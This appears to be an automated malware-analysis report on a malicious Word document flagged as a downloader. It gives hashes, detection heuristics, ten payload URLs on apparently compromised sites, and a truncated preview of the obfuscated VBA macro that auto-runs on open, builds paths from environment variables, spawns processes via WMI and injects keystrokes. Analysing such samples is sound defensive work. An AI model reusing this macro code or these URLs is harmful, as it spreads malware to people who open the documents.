Office (OLE) malware analysis — malicious · e64e538aa15f4955

MALICIOUS

Office (OLE)

419.0 KB Created: 2020-12-14 15:46:00 Authoring application: Microsoft Office Word First seen: 2022-07-02

MD5: 1cc0b40d37bbbc9b619c7d1f27d4df0b SHA-1: 1f9c905894250cd44fa9ed410ab2fc57e00b6fea SHA-256: e64e538aa15f495535526068ddded5461c43fc9d3c10bcaa5444d7e162a7cd78

220 Risk Score

Heuristics 9

ClamAV: Doc.Downloader.ChristmasGift-9845923-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.ChristmasGift-9845923-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code

GetObject call high OLE_VBA_GETOBJ

GetObject call

Matched line in script

Set iWbeXqB_oxboZU_2MPKnaS_6qZlfv = GetObject(BYlBR9Qq_Y4c0WSU_mKannO_Prg2p5.kZgN8ZIGG2PESm76HVXVxk4mbE).SpawnInstance_

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
iTgqj5X_1aPL8IU_u0sGBM_lyp3cR = Environ(pnJj3pP_MHW5Rko)
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://script.rentpayez.com/wwVbFeF1V2mFa.php In document text (OLE body)
- https://pccreed.com/n0fBZhgWWCcFo.phpIn document text (OLE body)
- https://sanjoseroofing.org/old/wp-content/uploads/2020/09/aRC84WdkOv16GY.phpIn document text (OLE body)
- https://loctraders.com/wp-includes/sodium_compat/src/Core/Base64/2qoGf0VX94dTFYv.phpIn document text (OLE body)
- https://monacofieldson.co.uk/L8A5QV2mw.phpIn document text (OLE body)
- http://electrocardsystems.com/plugins/vmcustom/specification/specification/tmpl/R674L7LjbwF.phpIn document text (OLE body)
- https://fmpanamby.ga/wp-includes/sodium_compat/namespaced/Core/ChaCha20/mVjwniGX.phpIn document text (OLE body)
- https://richardsilk.com/wp-content/plugins/updraftplus/images/addons-images/Zk8Iv9hirxx0i.phpIn document text (OLE body)
- https://cuencadistributions.com/wp-content/plugins/mailchimp-for-wp/vendor/bin/ekcBKiRsNXoj.phpIn document text (OLE body)
- https://kabiryogashramlimbdi.com/wp-includes/js/tinymce/plugins/charmap/7nem6JhxNGE.phpIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
- http://www.w3.org/1999/XSL/TransformIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	30111 bytes
SHA-256: `23eb7b86b9073f556c6af0d24d4eb96064351cdb6a30dc5833052bb774bca941`
Detection ClamAV: No threats found Obfuscation or payload: likely 284 of 505 identifiers look randomly generated (e.g. 'PkZmLVP2_19j0APn_HddjC0e_u1h78TD') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ybAP1GOlVFqa0jQL7NUOCyP063n5" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() MUPUgJKh8ou02g6VaINM = QSoBkvNwvQ9KGhfxar6F.Z83KVzi0_uNNkKH_KxfAeO_rcgQYe End Sub Attribute VB_Name = "QSoBkvNwvQ9KGhfxar6F" #If VBA7 Then Private Declare PtrSafe Function VdstrUNMQGzsr Lib "user32.dll" Alias "PostMessageA" (ByVal itLVgep6dS1vPrOViTneah4ydEi As Long, ByVal S2HEY8vHusMjn As Long, ByVal SokdOurZb6xg8h As Long, ByVal S0J98aLwQEpocMETP3hw0t As Long) As Long Private Declare PtrSafe Function HGYGRtDbMUf5XXzM7PiWtoD57J Lib "user32.dll" Alias "FindWindowExA" (ByVal OI1wmguFIYqNlYEXgTfAn51yGjt As Long, ByVal RArWTSwHTpuqGhPAYWKm As Long, ByVal P22HwP7xn5OdRGy87Zr0QzcEU5JM As String, ByVal pQ0wwXHR_4t7Wwei As String) As Long #Else Private Declare Function VdstrUNMQGzsr Lib "user32.dll" Alias "PostMessageA" (ByVal itLVgep6dS1vPrOViTneah4ydEi As Long, ByVal S2HEY8vHusMjn As Long, ByVal SokdOurZb6xg8h As Long, ByVal S0J98aLwQEpocMETP3hw0t As Long) As Long Private Declare Function HGYGRtDbMUf5XXzM7PiWtoD57J Lib "user32.dll" Alias "FindWindowExA" (ByVal OI1wmguFIYqNlYEXgTfAn51yGjt As Long, ByVal RArWTSwHTpuqGhPAYWKm As Long, ByVal P22HwP7xn5OdRGy87Zr0QzcEU5JM As String, ByVal pQ0wwXHR_4t7Wwei As String) As Long #End If Private Const kvvCq8Y_ufWlfx As Long = &H102 Function Z83KVzi0_uNNkKH_KxfAeO_rcgQYe() Dim MrQyxXy_FWzYMn As String MrQyxXy_FWzYMn = QSoBkvNwvQ9KGhfxar6F.Cb9nSDkC_l0dS0n_s9ByJbb TAYwBjgxvGdYFjkCp0Byfsskp = fBKs0hGEvK3SD0XY7OjH & iTgqj5X_1aPL8IU_u0sGBM_lyp3cR(WzZaPsRpzoMQH3yypPq7.p9JlrE0A_FwufJ8_ZDWVtF(LTla1p7K_6Dm6Mb_Oa5APW_0yJ0b8)) & pSYOFiAnQO90J9 & K500zCULjfNrgZp.CYai0WDGEyU5753r3o2vaG & AJgu1HuxquvlUbsNCzNA1v & bQy3hdDT_aho5460_IrtBEHc_7Bj3Up & B4L7pobS_UDFXqS & I0qKBakRqQA7oNb34Pik & QSoBkvNwvQ9KGhfxar6F.Lgev0Ia_GFFW2m9_I14Drmi & MmeQL2Y0wr9RQqNsTpuE & PmXLSy0F_zHx86IU_BwZLjJ_h8hJdM & K0djA5Xu0tiKW2xhrkcYf0lsxkl.N9L2Itw_PFQHFQ3_w3qDId_j7AL4O(FmpXh0pbc9wHA) Open TAYwBjgxvGdYFjkCp0Byfsskp For Binary As #CLng((wdBrowserLevelV4 Xor vbReadOnly)) YzPJYiONBSGJFSD00wlaAfCblcq = CCGmV6vC_TTk5Dm.XJDwsyvWYS1JCThdHpDJL8C4Rioc(KC784EpA_1KKX2PU_fZod3J.OgOPhJ7mxBH2fT0cowf, x1nRaJa1_H9DGqw.m03HssMxEZ1ws5VW0tDHK9s4zWyg, UP6jrmN1_zINoT6M_r02qPh.iWbeXqB_oxboZU_2MPKnaS_6qZlfv) HRN1PMqx_l69wdnq = x1nRaJa1_H9DGqw.Zw1nsy5fs9bNBi + PcIBIhjubJQp4fiaVaQvg0p99R4 + Xa3xgmaQyBixGWGJddvUtErN90 + TAYwBjgxvGdYFjkCp0Byfsskp + BYlBR9Qq_Y4c0WSU_mKannO_Prg2p5.D6DlYQkn9eQO6hhKFly6BCKzSzV06 + EDJbIO3C_h07iOtN_DIMTQfp_HqosAI Put #CLng((wdBaselineAlignCenter And wdDeleteCellsShiftUp)), , MrQyxXy_FWzYMn Close #CLng(((1.35890410958904 * 365) + -495)) C1xCQig_3lQFJK_AJ0TvaI_bueG6H = ltuRhqOHIcM1YFQVMElGH51nPvww(KC784EpA_1KKX2PU_fZod3J.EGlQmgB0_u47JOp(JFXclMCM06z0m), HRN1PMqx_l69wdnq) End Function Function Lgev0Ia_GFFW2m9_I14Drmi() Lgev0Ia_GFFW2m9_I14Drmi = Hex(CLng((CLng((Not (-209016 - 15#))) - CLng(((42424 - 868#) + -522)) + CLng((40731 - -303))) * Rnd + CLng(((412 + -348#) Or (41734 + -700#))))) End Function Function Cb9nSDkC_l0dS0n_s9ByJbb() As String For mpOiC0ft_PfQ7F8_JESolf = CLng((wdMAPI And wdRelativeHorizontalPositionPage)) To Len(x1nRaJa1_H9DGqw.ShR2jyeOZAuQIKA0tBGsY.Text) Step CLng((wdStyleTableLightList - wdStyleTableMediumShading1)) LcrVm4WL_7WIY4t_gMpA6N_nvPD2FD = Abs(CLng(((553 - (wdStyleIndex8 + 940#)) - -948))) CD0aMkSPkCT4P9ZHD0lXolIoVTT = CLng(((-971 - -988#) Xor 845)) > CLng((wdListNumberStyleLegal + (-679 + 754#))) 'Iz0ZQIIS_B6I5Ut_dqKzDr_adq20X GXaWmNuq0qNwJGFbY21UudflA9F E5bziG735gfTZnt3oSn8UnzMd0MF QS4ka5rAfKazO8wz5HLIUIKAR J7IfXD30aMX5X YtSalE8PNtGvZXhFUNE035 Vxnm52z_nQgZAw_h0PPFQV_0idEYK Hl1jyUi_iDWxU40 ctUV2RdNrFsi11oskqxXCWasltu = Join(Array("DhZ0SA2_XxHQ34C_hW1Y3U_tU2gD9f VUl0Bt6Y_6l62Kq_ymZosz" & Yoxr0sV_R3Yg9rc_a0WSUPL_kFd8Eg, G6Saw63_TnHVjcN_SR2MXh_SICbq02, R0n8ndtj_CbPD6F_fyD6AR & cNsOHjfs_z1HycVD_kq3hywP_rcd14Q, pcVFeBrHwPOeujr8TyTx & IgDSfsYu8rXWf36 + Fw7mZsn_c240aE_JV44T0, GB7LprxpmRs0MxFeORCD, EG0kLfZFxF6lYOeHxKbr0R & "XPjRm0NRuiGxc NeTw5BNcewUWjgNpgfcIquAaRo34" + "Sw5fXhp_vSxqLVd_u40l62_J0dBYyI afBr9sLl_M0E3lz EZjGBAw_mHqJrc_7iXWUp9_cajBi5", "TGvN0Gb_awCdMVk VSxFRrA_rH3fAEQ_DqeH43_3WA61SP fIFhIyzf7Ev3RT9")) PkZmLVP2_19j0APn_HddjC0e_u1h78TD = Mid(x1nRaJa1_H9DGqw.ShR2jyeOZAuQIKA0tBGsY.Text, mpOiC0ft_PfQ7F8_JESolf, CLng((wdStyleList4 + (-528 - -583#)))) AKd5yVu5iiBKOd97MzjN = Join(Array("M3RBmt2H_FvtLlK6_8Bfrno_uXSsbj", iR1SZ87QnZ7sseunxYUB0C & "i3ss6xhh_4tl2eaD" & NBlaMp5MSbQviUJFxnfsdyZ959TI)) Debug.Print Oe13DlXP0jmS70yzE0Y9Kk34KsRo Cb9nSDkC_l0dS0n_s9ByJbb = Cb9nSDkC_l0dS0n_s9ByJbb & PkZmLVP2_19j0APn_HddjC0e_u1h78TD HDF1GOR_MDLmz7_A4ct2qs = IsDate(CLng(((2528 - -991#) And 1455))) IEbPs2N0HlKNC = IsDate(CLng(((1.41111621497474 * 2177) Or xlPower))) eLCvBdB_nWXReNU_d7Il4q_CHMj7XV = SNV2ddf_7hSaIHs For oXVyWKATSZrbEciSGtd0h = 0 To CLng((1267 + (wdDialogTableInsertTable - (wdDialogFormatStyleGallery - 388#)))) S0towr9X_N2skdqe = oXVyWKATSZrbEciSGtd0h Next oXVyWKATSZrbEciSGtd0h Next mpOiC0ft_PfQ7F8_JESolf End Function Function ltuRhqOHIcM1YFQVMElGH51nPvww(sIk9VAb1_CRXLHKU_rV6jQ8, TSWK09F_RNqDmFz_Z550iM) TrNH4DJl_8Y5mYya_XuGoGE = Len(Join(Array("VZTvaATJ_eJDVPO1 LRSnucTFEUjqjtuqsGB8E8bXyk T0RLmXR_mM6NOOl_tYokzY_8pOZSuy" & FmX6BuEv_fDUDjcZ_Sar5Oc & ooKagBSUv4Pq6y7mIvExLdr0vlk, OysAukDAlCBbrpTrUCmBFB & "YYzEbeVGqBoqTSt8ubN2aql0t17 MMGhvhNI_TLQj9zq_tiazxGg_EyWjXZ Y7C5f98R_AvXAHt_sncp4LN_SfTz3o", "C6OJysooGEUHc", "cWHJ83lXsiHuTVgEQJNM97nzAY3J BflyTFop7tVrCSerdWNU" & "ePyh7op2AbDg6nH8MOYpm" & "EWruoJCQrZJ2KkDTmEGFat j8aHQyciIxiLya", "avIXvgpV3XXy5XqaelD0g0u4Kb iBWxsQH_2kakxeh_h8jfIj_fRwz9m C8md0uRQ_ouVS5F_uUrMSn_pFB9xiJ"))) v7QE4jcGBpQys3 = Abs(CLng((1309 And (1954 - (wdStyleSubtitle + 120#))))) For TBjDhGG_0sgij9b_gf2NUOH_ZhTw8Cq = CLng((757 + (-1099 + 343#))) To CLng((4226 Or 142560)) 'ibSgXN0_uHupN6u XfEpsY2kpRV0XeKEpVMwqdIrgxn7f ZJPJJLWB_PMxUYT0_QG2Gxxc MxiIQ16QGbtxl6d Mcn6ujzxUcxo2D4owoLWmiNKDwBf kqaJrYWu_3ewD0u_x0D2ax_imX8xPj ScVWPTlDdR0WEpFpyV2wi nJl6UWTU_dSHGYg_Wul42oB R1Qnxxt_3NLNak_H94FFfh BsMd0ZVsl3M4fWIsHnnEjoKuic00 = InStr(kI5NAFet_k8tltr, FHcmtIhmpO20gan90XOF, KPTGcJeS_BYQFpr) tA1qQLNhK0aURZgynqiuNVwxbp7 = Join(Array(E8hJlMLMIiYp1F, "XRbqUDb_5S39DAd oWjy3djTfhYaesj7Zut1tgYQmEW OdfnoJQ4_iufKtC_4uHT75")) IBMWqDn4_P6SmA1 = HGYGRtDbMUf5XXzM7PiWtoD57J(CLng((Not xlDefaultAutoFormat)), CLng((wdBalloonWidthPercent And wdIndexRunin)), sIk9VAb1_CRXLHKU_rV6jQ8, vbNullString) h4U7D6jr2Nu8Ag70GON3z = "437" Next TBjDhGG_0sgij9b_gf2NUOH_ZhTw8Cq For JUqbxYzm_jdBcKpg_M6XJzpL = CLng((vbNull Xor wdSortOrderAscending)) To Len(TSWK09F_RNqDmFz_Z550iM) Q9dGOs4r_9gKuW7_vS34bZO_Xg3pcip = IsDate(CLng((1346 Xor wdKeyB))) V3z217cGg3kgVReKuy7Wvk = Abs(CLng(((wdKashmiri - 88#) Or (wdArtMarquee + 414#)))) VdstrUNMQGzsr IBMWqDn4_P6SmA1, kvvCq8Y_ufWlfx, Asc(Left$(Mid$(TSWK09F_RNqDmFz_Z550iM, JUqbxYzm_jdBcKpg_M6XJzpL), CLng((xlSizeIsArea Or wdTextLine)))), CLng((wdWrapMergeInline Xor wdRelocateUp)) Next JUqbxYzm_jdBcKpg_M6XJzpL jBIIcWC_aCMHxA_1tDIL26_yovky9 = IsDate(CLng(((0.918851435705368 * 1602) Or (-228 + 484#)))) Vf4p3Yn_x2dfj3 = Abs(CLng((3575 And 1579))) VdstrUNMQGzsr IBMWqDn4_P6SmA1, kvvCq8Y_ufWlfx, CLng((wdPropertyWords And wdOpenFormatAllWordTemplates)), CLng((wdIndexTemplate Or wdCheckInMinorVersion)) End Function Function iTgqj5X_1aPL8IU_u0sGBM_lyp3cR(pnJj3pP_MHW5Rko) Debug.Print LXkhxElX_u4Lwprn_EgzzL0 'nflsl222_PA5lBE n1bRVv8T_tRUOtIZ oYmW47m_Y3INEI_vlGww3f_EqDlNWH LCjblmKc_kYjFXh_mYaHOd NHjDWej_KiaeWs_HXpaO0m IXT7x6eGPKQ2kGWQ5N0P f0YHJOEi_Z0PVRUq_uPyMnW Stuh35pKtyc321pBNiN80LeV54 YGnuUJE8_m0S0p3_eZWtIC_mAdDZx Debug.Print JCfEIThvr9jKAw OLlOz9m_LvqduN = Len(Join(Array("AXxPEBn7_YVKqJy5_h74JyX_A3xTrUM Ac5Ppmy_a4R5V82_meKKrLH amJ9JsstYZJWsTr", "F8NzXxMaXtf6NYlXjlh xk7fYcsf_0ocpEng_PAwBBJ" & "Q9DlIP6WBHI6VkH9zzC ahGq9Wi7y01OeFuD6OuNieZHon" & UFhB7IsE_0LJj9t, "AgEWyEx7pOnN8A IvHDBKfZ_nCcvTEe_UEAittO_tDl16W"))) iTgqj5X_1aPL8IU_u0sGBM_lyp3cR = Environ(pnJj3pP_MHW5Rko) 'YVn8G2n_mIV2iI u0TXBbS_Ym5Wvm_otx27Z W93yQKfgHfB7UnxqAbz3 VRxsij85_aGuMyun ku0TJdbI_gyfHejl_Dy2py4T XFUBtnZH_UFBr4Rs_w7Odnw oAIleez_tzfb827 mCUZ4xvj_urO7ZBS uBE2oBjx_05738jj_RhC2V6g L1WeAHii_LCjeQuR_AHZddM_dUvZWg3 = Join(Array(AuXxzoha_E9dVB4p_3W75jj_zJnsPEV * jPKbgoFB_mabDBDU, "OWFtN5pb_kHxI1mp_cmGy9Hj_0lTptr Ge41hoNn5KYufXAtHSyQ TcXrsXJ_aTvLr4_p9Dmi85", UWe9H3m_zmMyWSi ^ Ez719Ky_5PlH8m + UccrucE9JOf0PSNHS6q085zd8nN, H1JT5AvHGdD7He - BnauAle2MRnib7t)) VxLWjOu_zRjk8rx_Jz8Q1y_1oIowUb = CLng((-1594 - ((0.505061867266592 * -1778) + 155#))) < CLng((Not (wdArtCrossStitch + (wdTexture62Pt5Percent - 161#)))) CJwHoaX_cQEGnS = Len(Join(Array("IqWY0MSd_fbksfhi_iGCQAXB_gR3x02e gikYshChmAXtVKWOme3ZG" & PFJlfzF_7PnUYEv_MUB5p6k_7KWupO, XJJ6HMjwft2qP1s680gDby15MR & "zf7S0WKCZHveo xbbQvbNKeXvdPF6 sB80dlN9RE8L5m", Xt7sbvH_7c0Doi0, "Hycd7gBQ8j0rOLB wcN6swu881MrHmrKZ2R A5L8rXg_aWnhNb_YQQ2QsV", "PayLx9DCY8hJXIOGkHkezOLCNO2 Nkb0V2MYk5XKljmnmkayqq2XzUr" & EPlSC4dru5AS7fEBnAta2zdb9L, "Zk9X7u0kWSh6kWMcslW" & immHJ0cG8fQNYngWv96zx & "ENwlA4tfKJ5cuWR GO5XmsR4ePXU2oA2gxPk aHXYJFL_U0tYpt"))) B035f7q_rQizkcM_cVZsuI3 = "722" H30zd21NyokyMvGoDjtAaH0uCn3 = InStr(S3SVfgIQPlJZWp9a5KB, hQkqAmc6tKKF0HADQye8, nNV0HNmUpW7Gg) End Function Attribute VB_Name = "WzZaPsRpzoMQH3yypPq7" Function p9JlrE0A_FwufJ8_ZDWVtF(zBu8oxUtOvgK67) p9JlrE0A_FwufJ8_ZDWVtF = ChrW(CLng((0.833333333333333 * ((1.03957031093815E-03 * -359) * -209)))) _ & Chr(CLng(((0.758768177929855 * 1169) + -775))) & Chr(CLng((xlTenMillions - -119))) & Chr(CLng((Not ((-1.57894736842105 * -361) - 639#)))) _ & ChrW(CLng((wdTableDirectionRtl Or ((464 - 61#) + -338#)))) & Chr(CLng((AscW("T")))) _ & Chr(CLng((AscW("A")))) End Function Attribute VB_Name = "K500zCULjfNrgZp" Function CYai0WDGEyU5753r3o2vaG() CYai0WDGEyU5753r3o2vaG = Chr(CLng((-140 - (-779 - -547#)))) _ End Function Attribute VB_Name = "K0djA5Xu0tiKW2xhrkcYf0lsxkl" Attribute VB_Base = "0{E37D24A7-539B-48C9-9FC0-46A42C5BBB5F}{67378E9B-AD75-4CA8-AD2D-641E299E98F5}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Function N9L2Itw_PFQHFQ3_w3qDId_j7AL4O(Q9veF5APCESmm9kwPFN3) N9L2Itw_PFQHFQ3_w3qDId_j7AL4O = Chr(CLng((wdCurrentFolderPath Or vbQuestion))) & Chr(CLng((-3.15789473684211 * ((-424 + 423.959445037353) * 937)))) _ & Chr(CLng((Asc("s")))) _ & Chr(CLng((wdFieldAddressBlock Xor (-961 - (-697 - 281#))))) _ End Function Attribute VB_Name = "x1nRaJa1_H9DGqw" Attribute VB_Base = "0{7E9C3DFA-153A-449E-9ED8-817E65CF9604}{9B31AA8E-4302-4CBE-9D90-96334AC5A817}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Function Zw1nsy5fs9bNBi() Zw1nsy5fs9bNBi = Chr(CLng((-542 + 621))) _ + Chr(CLng((AscW("S")))) _ + ChrW(CLng((wdDeletedTextMarkHidden Or (-635 - -667#)))) + ChrW(CLng(((1.79520697167756 * 459) - 753))) _ + ChrW(CLng(((-504 - (0.750312109862672 * -801)) Or wdArtHeartGray))) + Chr(CLng((Not wdStyleBlockQuotation))) _ + ChrW(CLng((740 + -708))) + ChrW(CLng(((193 - 153#) Xor wdCenterClockwise))) + ChrW(CLng((wdKeyNumericDecimal And (-0.110591900311526 * (-1516 - -874#))))) + Chr(CLng((Asc("O")))) + Chr(CLng((-0.690909090909091 * wdStyleTableMediumList2))) + Chr(CLng((-0.587786259541985 * -131))) + ChrW(CLng((Asc("A")))) _ + ChrW(CLng((wdTableFormatApplyAutoFit Or wdDialogFileSaveAs))) + ChrW(CLng((AscW(":")))) _ + ChrW(CLng((-221 + (wdStyleListNumber5 - -317#)))) End Function Function m03HssMxEZ1ws5VW0tDHK9s4zWyg() m03HssMxEZ1ws5VW0tDHK9s4zWyg = Chr(CLng(((wdArtTriangles + -106#) Or wdArtConfettiOutline))) + Chr(CLng((-0.185059422750424 * ((1.86652300671822E-02 * wdListNumberStyleArabic1) * -686)))) + Chr(CLng((-460 + (0.358198924731183 * (907 - -581#))))) _ + Chr(CLng(((-956 - -971#) Xor (wdKeyF15 + -50#)))) End Function Attribute VB_Name = "BYlBR9Qq_Y4c0WSU_mKannO_Prg2p5" Function D6DlYQkn9eQO6hhKFly6BCKzSzV06() D6DlYQkn9eQO6hhKFly6BCKzSzV06 = Chr(CLng((592 - 558))) End Function Function kZgN8ZIGG2PESm76HVXVxk4mbE() kZgN8ZIGG2PESm76HVXVxk4mbE = Join(Array(Chr(CLng((Asc("w")))) & ChrW(CLng(((wdStyleListBullet4 + 344#) - wdDialogFormatDefineStylePara))) & Chr(CLng(((-349 + 459#) Or wdArtTribal6))) & Chr(CLng((-855 - -964))) & Chr(CLng((Not (-331 + 227#)))) _ & Chr(CLng((wdKeyNumericSubtract And wdArtDoubleDiamonds))) & ChrW(CLng((-666 - -782))) & Chr(CLng((wdKeyF8 And wdKeyF4))) _ & Chr(CLng((wdSelOvertype Xor (487 + (0.303571428571429 * -1400))))) _ & ChrW(CLng((-0.148626817447496 * -619))) & ChrW(CLng((AscW("r")))) & ChrW(CLng((Asc("o")))) _ & Chr(CLng(((-4.98867436091037E-04 * wdDialogToolsAutoCorrectExceptions) * -292))) _ & Chr(CLng((Asc("t")))) & Chr(CLng((-433 - (-725 + (-196 - -396#))))) & Chr(CLng((-0.110614525139665 * -895))) & ChrW(CLng((AscW("i")))) & ChrW(CLng((wdDialogInsertBookmark + (-1052 - -993#)))) & ChrW(CLng(((-461 - -497#) Xor wdKeyR))) & ChrW(CLng(((wdTexture40Percent - -638#) + -988))) & ChrW(CLng((wdUnderlineTabInNumList Or wdDocumentsPath))) & ChrW(CLng((Not ((427 - 427.098987626547) * 889)))) & Chr(CLng((AscW("i")))) & Chr(CLng((Not (-0.720779220779221 * wdArtBasicBlackSquares)))) _ & Chr(CLng((Asc(wdCursorNorthwestArrow)))) & Chr(CLng((Not wdStyleList2))) & Chr(CLng(((-7.725 * wdLayoutRawTableWidth) + (-3.45299145299145 * -117)))) & ChrW(CLng((wdArtMapleLeaf And (wdArtPeople - -34#)))) & Chr(CLng((AscW("r")))) & ChrW(CLng((wdDialogTextToTable And wdDialogEditPasteSpecial))) & Chr(CLng((Asc("c")))) & Chr(CLng((Asc("e")))) & ChrW(CLng(((wdCzech - 910#) And wdKeyF4))) & Chr(CLng((wdKeyF12 And wdArtConfettiGrays))) _ & ChrW(CLng((wdArtPapyrus Xor (-2.94695481335953E-02 * -509)))) & ChrW(CLng((wdArtStarsShadowed Xor (wdKeyF11 + (-607 - -587#))))) & Chr(CLng((-288 - -385))) & ChrW(CLng((684 - wdDialogReviewAfmtRevisions))) & Chr(CLng((wdDocumentControlRectangle Xor ((3.05233364781619E-04 * wdDialogToolsOptions) * 407)))) & ChrW(CLng((wdArtLightBulb Xor (xlMillionMillions - -22#)))) & ChrW(CLng((Asc("p")))))) End Function Attribute VB_Name = "KC784EpA_1KKX2PU_fZod3J" Function OgOPhJ7mxBH2fT0cowf() OgOPhJ7mxBH2fT0cowf = ChrW(CLng((wdGeorgian + -960))) & ChrW(CLng(((-864 - -862.6) * (-923 - -848#)))) & ChrW(CLng(((-379 - -812#) + (-247 + -76#)))) & Chr(CLng((Not -110))) _ & ChrW(CLng((Asc("g")))) _ & ChrW(CLng((((-9.04512785410453E-04 * -339) * 362) And wdTexture12Pt5Percent))) & Chr(CLng((411 + -295))) & Chr(CLng((wdKeyF4 And wdKeyF16))) _ & ChrW(CLng(((-1176 - (-1573 - -688#)) + 349))) & ChrW(CLng((Asc("r")))) & ChrW(CLng((AscW("o")))) & ChrW(CLng((-626 + wdDialogFileMacCustomPageSetupGX))) _ & ChrW(CLng(((-187 - (421 + -733#)) And wdArtMosaic))) & Chr(CLng(((8.60215053763441E-02 * wdKeySemiColon) Or (-0.131616595135908 * -699)))) _ & Chr(CLng((552 - 453))) _ & Chr(CLng((-243 - -348))) & Chr(CLng(((-544 - -655#) And (-224 - -333#)))) & Chr(CLng(((-271 + 389#) Or wdIMEModeNoControl))) & ChrW(CLng((Asc(wdShowFilterStylesAll)))) & ChrW(CLng((Asc(":")))) & ChrW(CLng((wdKeyL - (914 + -925#)))) & Chr(CLng((((wdArtNorthwest - -268#) - 300#) Or wdArtHolly))) & ChrW(CLng(((-196 - (-126 - 132#)) Xor wdKeyP))) & ChrW(CLng((wdStyleNavPane + (-279 - (wdDialogFormatStyle - 600#))))) & ChrW(CLng((AscW(xlBar)))) _ & ChrW(CLng((Asc("_")))) & Chr(CLng((-404 + ((894 - 891.615763546798) * wdDialogToolsOptionsGeneral)))) & Chr(CLng((Asc("r")))) & Chr(CLng((xlParentDataLabelOptionsNone Xor wdDialogEditPasteSpecial))) & ChrW(CLng((vbMaximizedFocus Or wdKeyNumeric2))) & Chr(CLng((-132 + 233))) & ChrW(CLng((wdDialogFormatTheme - (1.03496503496504 * (1.07680722891566 * 664))))) & ChrW(CLng((AscW("s")))) End Function Function EGlQmgB0_u47JOp(WHPY9u9_xvkqzon_qEYLYI) EGlQmgB0_u47JOp = Chr(CLng((Asc("c")))) _ & Chr(CLng(((-820 - -820.344978165939) * (wdKeyQ - -148#)))) _ & Chr(CLng((wdInCommentPane Xor (wdDialogFormatDefineStyleTabs + -67#)))) & Chr(CLng(((wdStyleHtmlAddress - -96.8807471264368) * (-87# * wdFieldIndex)))) _ & Chr(CLng((Not -112))) & ChrW(CLng((-829 + 905))) & ChrW(CLng((wdArtShorebirdTracks Xor (wdDialogToolsDictionary + (0.69269340974212 * -1396))))) _ & Chr(CLng((wdFieldOCX And wdDialogTextToTable))) & ChrW(CLng((-470 - (0.793103448275862 * -725)))) & Chr(CLng((wdPromptUser Or (wdListNumberStylePictureBullet - (952 - 779#))))) & ChrW(CLng(((3# * -200) + 668))) & Chr(CLng((Asc("O")))) & ChrW(CLng((Asc("W")))) & Chr(CLng(((21.8333333333333 * wdNoteNumberStyleHanjaReadDigit) + (wdFieldCitation - 914#)))) & Chr(CLng((wdArtSnowflakeFancy Or wdArtPoinsettias))) & Chr(CLng((Not (573 + -671#)))) _ & Chr(CLng((wdDialogDocumentStatistics + wdPaperEnvelopeDL))) _ & Chr(CLng((((0.742222222222222 * -450) - -303#) + wdKeyF3))) End Function Attribute VB_Name = "UP6jrmN1_zINoT6M_r02qPh" Function iWbeXqB_oxboZU_2MPKnaS_6qZlfv() For J41cz31r6dmGPNNOCwdT = 0 To CLng((0.766439909297052 * 441)) F9g0rjRqatx1DTcmX4h0Gt = J41cz31r6dmGPNNOCwdT Next J41cz31r6dmGPNNOCwdT M1UGUx8LZDJxp = Array() Set iWbeXqB_oxboZU_2MPKnaS_6qZlfv = GetObject(BYlBR9Qq_Y4c0WSU_mKannO_Prg2p5.kZgN8ZIGG2PESm76HVXVxk4mbE).SpawnInstance_ MWR3NQ1_pYqjv6_3mulPo_0Tt9qPZ = InStr(y5JkaBz_tThoa4_Ldx3OC, hwZj8jw9_zqVzDjV, FaIOC8b6ncvnT6m5JC5h4) WaC1fJm_Od8rclz = EMOJZrtf_UFgZPW iWbeXqB_oxboZU_2MPKnaS_6qZlfv.ShowWindow = CLng((wdPropertySubject Xor (-439 + 453#))) gPCES3z0_i0xKsgx_apcLVU_MNqXeZk = IsDate(CLng((((-724 + 725.142807983483) * 2906) And 1880))) 'AAfBjfWMH3YJ7kCmlhj615 HYywXiXDFUMJMLUUs5ipr9BOuT Bg7DgBodI7vWtUG BUk78Eq4yUJAcu aDwqRLawyjQDq66D0pUHy04UgDU E5dYftW3ZMGV9RN5obNE TjsVFuz_O4MwXp_9Cu1ua Is7vJCU7IlVLv6 = Join(Array(P30exoR_XX7Bxs0_AiEN5ES & "hOgfDIZ5MYsLQMgplF0HljnkTT RDvYugq_10dQ5Ok_W5hjDX1", FmyU4hl_OW7wXv_qPb6MW_8FTDec & 